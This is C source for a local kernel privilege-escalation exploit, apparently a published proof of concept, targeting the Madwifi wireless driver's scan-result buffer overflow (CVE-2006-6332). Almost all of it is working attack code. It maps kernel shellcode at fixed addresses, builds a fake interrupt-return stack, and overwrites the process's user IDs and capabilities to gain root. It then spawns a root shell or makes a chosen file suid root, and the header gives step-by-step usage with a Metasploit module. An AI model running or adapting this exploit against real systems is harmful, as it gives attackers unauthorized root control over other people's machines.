/* Madwifi giwscan_cb buffer overflow local kernel exploit * * CVE-2006-6332 * * (C) 2006 Julien TINNES and Laurent BUTTI * * Use this local exploit in conjonction with the metasploit module * * The vulnerable function is called when asking for scan result (which you can do * without privileges). * However you need to wait for your card to scan for access point before this exploit can be successfull. * * The best way to test this exploit is: * 1. start the metasploit module on another machine * 2. Bring your card up. (e.g. ifconfig ath0 up) * 3. ./madexploit * * This will always work because the card will automatically start scanning for APs when your * bring it up. * For testing purpose you can also launch this exploit as root, It'll automatically issue a * scanning request. * There are also ways to remotely make the card start scanning for APs. Will you find them ? * * Use -s if your kernel uses 4K stacks * Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message * * This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing * * TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the BUG()s) * * Version 0.5 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // #include "iwlib.h" /* defs from wireless.h and iwlib.h */ #define IW_SCAN_MAX_DATA 4096 #ifndef __user #define __user #endif #define NOPS 0x90909090 #define TASK_SIZE 0xC0000000 #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ struct iw_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; union iwreq_data { struct iw_point data; /* Other large parameters */ }; struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; #define IFNAME "ath0" /* This magic address will pass encode_ie in madwifi * '3' is 0x33! */ #define KSCADDR 0x33333333 #define USCADDR 0x50000000 /* stringification */ #define xstr(s) str(s) #define str(s) #s #define KSTACKADDR 0x60000100 #define PGS (4096) /* 4046 if 4K STACK is defined */ #define THREAD_SIZE (8192) #define THREAD_SIZE8K (8192) #define THREAD_SIZE4K (4096) #define __syscall_return(type, res) \ do { \ if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ errno = -(res); \ res = -1; \ } \ return (type) (res); \ } while (0) #define patchsc_with_addr(sc, addr) \ do { \ *((void (**)())(sc+1))=addr;\ } while (0) void *installsc(void *scaddr, void *sh, unsigned int len); void *getsc(char *filename, uint32_t *len); //_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto); // jmp -2 //static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe"; // mov [0], eax //static char sc[]="\xA3\x00\x00\x00\x00"; // exit(42); //static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80"; // mov eax, 0x01020304; jmp eax char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0"; uid_t puid; int noexit=0; char *chmodfile=NULL; char chmodname[1024]; unsigned int stackheur=0; char *ifname=IFNAME; struct task_struct; typedef struct { unsigned long seg; } mm_segment_t; mm_segment_t addr_limit; /* thread_info.h */ struct thread_info { struct task_struct *task; /* main task structure */ struct exec_domain *exec_domain; /* execution domain */ unsigned long flags; /* low level flags */ unsigned long status; /* thread-synchronous flags */ __u32 cpu; /* current CPU */ int preempt_count; /* 0 => preemptable, <0 => BUG */ mm_segment_t addr_limit; /* continued */ }; int sys_ioctl(int d, int request, struct iwreq *toto) { long __res; __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" : "=a" (__res) : "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)), "d" ((long)(toto)) : "memory"); __syscall_return(int,__res); } struct iretstack { uint32_t eip; uint32_t cs; uint32_t eflags; uint32_t esp; uint32_t ss; } __attribute__((packed)); void build_iretstack(struct iretstack *dest, uint32_t eip) { dest->eip=eip; asm("xorl %0, %0\n" "mov %%cs, %0\n" "pushf\n" "pop %%esi\n" "movl %%esi, %1\n" "movl %%esp, %2\n" "xorl %3, %3\n" "mov %%ss, %3\n" : "=r" (dest->cs), "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss) : : "esi" ); } /* userland function, called after ksc_func */ void usc_func(void) { int ret; printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg); if (getuid() == 0) { printf("[+] Success\n"); if (chmodfile != NULL) { ret=chown(chmodfile, 0, 0); if (ret == -1) { perror("chown"); exit(1); } else ret=chmod(chmodfile, 04755); if (ret == -1) { perror("chmod"); exit(1); } if (noexit) { printf("[+] Sleeping forever\n"); while(1) sleep(10); } else /* we may BUG() here... */ exit(0); } else execlp("/bin/sh", "sh", NULL); } else { printf("[-] Failure\n"); exit(42); } } static inline struct thread_info *current_thread_info(__u32 tsize) { struct thread_info *ti; //__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1))); __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1))); return ti; } /* Our kernel mode function */ void ksc_func(void) { uid_t *tsk; /* Lame heuristic to try and detect 4K stacks */ if (stackheur) { addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg; if (addr_limit.seg == TASK_SIZE) tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task); else tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task); } else { addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg; tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task); } /* look for uid,euid,suid,fsuid */ while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) ) tsk++; /* patch uids and gids */ //tsk[0]=tsk[1]=tsk[2]=tsk[3]=0; memset(tsk, 0, 8*sizeof(uid_t)); /* patch capabilities */ tsk+=9; memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t)); asm(".intel_syntax noprefix\n" "sti\n" "mov esp, " xstr(KSTACKADDR) "\n" "iret\n" ".att_syntax noprefix\n"); } int main(int argc, char **argv) { int skfd, counter=0; struct iwreq wrq; unsigned char *buffer = NULL; /* Results */ int buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */ printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n" "(C) 2006 Julien TINNES and Laurent BUTTI\n\n"); /* support -c on self */ if (( geteuid() == 0) && (getuid() !=0)) { setuid(0); setgid(0); execlp("/bin/sh", "sh", NULL); } for (;;) { int option_index = 0, c; static struct option long_options[] = { {"stackheur", 0, 0, 's'}, {"help", 0, 0, 'h'}, {"interface", 1, 0, 'i'}, {"chown/chmod", 1, 0, 'c'}, {"noexit", 1, 0, 'n'}, {0,0,0,0} }; c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index); if (c == -1) break; switch (c) { case 0: printf("This case should'nt happen\n"); break; case 's': printf("[+] Using stack heuristic \n"); stackheur=1; break; case 'i': ifname=optarg; break; case 'c': if ( (strlen(optarg)+1) > sizeof(chmodname)) exit(1); /* We better not rely on the stack */ strcpy(chmodname, optarg); chmodfile=chmodname; printf("[+] chmod/chown %s if success\n", chmodfile); break; case 'n': noexit=1; break; case 'h': case '?': default: printf("Usage %s [options]\n\n" "Options:\n" "-s\t Use heuristic to determine kernel stack size\n" "-i \t Use interface 'iface'\n" "-c \t Make 'file' suid root\n" "-n\tdo not exit after chown/chmod\n" , argv[0]); exit(1); } } puid=getuid(); printf("[+] Using interface %s\n", ifname); /* install kernel shellcode */ //scmap=getsc("ksc", &sclen); patchsc_with_addr(sc, ksc_func); //if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) { if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) { perror("installksc"); exit(1); } printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR); /* install user shellcode */ //scmap=getsc("usc", &sclen); patchsc_with_addr(sc, usc_func); //if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) { if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) { perror("installusc"); exit(1); } printf("[+] User shellcode installed at 0x%X\n", USCADDR); /* allocate space for kernel stack */ if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) { perror("installkstack"); exit(1); } /* This is a lame workaround to prevent giwscan_cb from crashing * before returning. We create two pages so that structure pointers * can be recursively dereferenced. * A proper exploit should not do that :) */ /* allocate self-dereferencable page */ if (installsc((void *) NOPS, "", 0) == MAP_FAILED) { perror("self-deref-page"); exit(1); } if (installsc((void *) 0, "", 0) == MAP_FAILED) { perror("self-deref-page"); exit(1); } bzero(NULL, PGS); assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack)); build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR); printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip); /* trigger vulnerable function */ buffer = malloc(buflen); if (!buffer) { perror("malloc"); exit(1); } /* Initialize wrq */ wrq.u.data.pointer = NULL; wrq.u.data.flags = 0; wrq.u.data.length = 0; strncpy(wrq.ifr_name, ifname, IFNAMSIZ); if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) { perror("socket"); exit(1); } if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) { perror("[-] ioctl SIOCSIWSCAN"); printf(" -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the process)\n"); } else { printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n"); } /* Initialize wrq */ wrq.u.data.pointer = buffer; wrq.u.data.flags = 0; wrq.u.data.length = buflen; while (1) { printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", counter++); if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) { //if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) { perror("[-] ioctl SIOCGIWSCAN"); exit(1); } sleep(1); } return 0; } /* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */ void *installsc(void *scaddr, void *sh, unsigned int len) { void *scpt; assert(getpagesize() == PGS); /* allocate one extra page which will be filled by nops */ scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0); if (scpt == MAP_FAILED) { perror("mmap"); return scpt; } /* fill first page with nops */ memset(scpt, NOPS, PGS); /* and copy shellcode */ memcpy(scpt+PGS, sh, len); return scpt; } /* map shellcode found in filename in memory, return its address */ void *getsc(char *filename, uint32_t *len) { int scfd; void *scmap; struct stat scstat; scfd=stat(filename, &scstat); if (scfd == -1) { perror("stat"); exit(1); } *len=scstat.st_size; scfd=open(filename, O_RDONLY); if (scfd == -1) { perror("open"); exit(1); } scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0); if (scmap == MAP_FAILED) { perror("mmap"); exit(1); } return scmap; }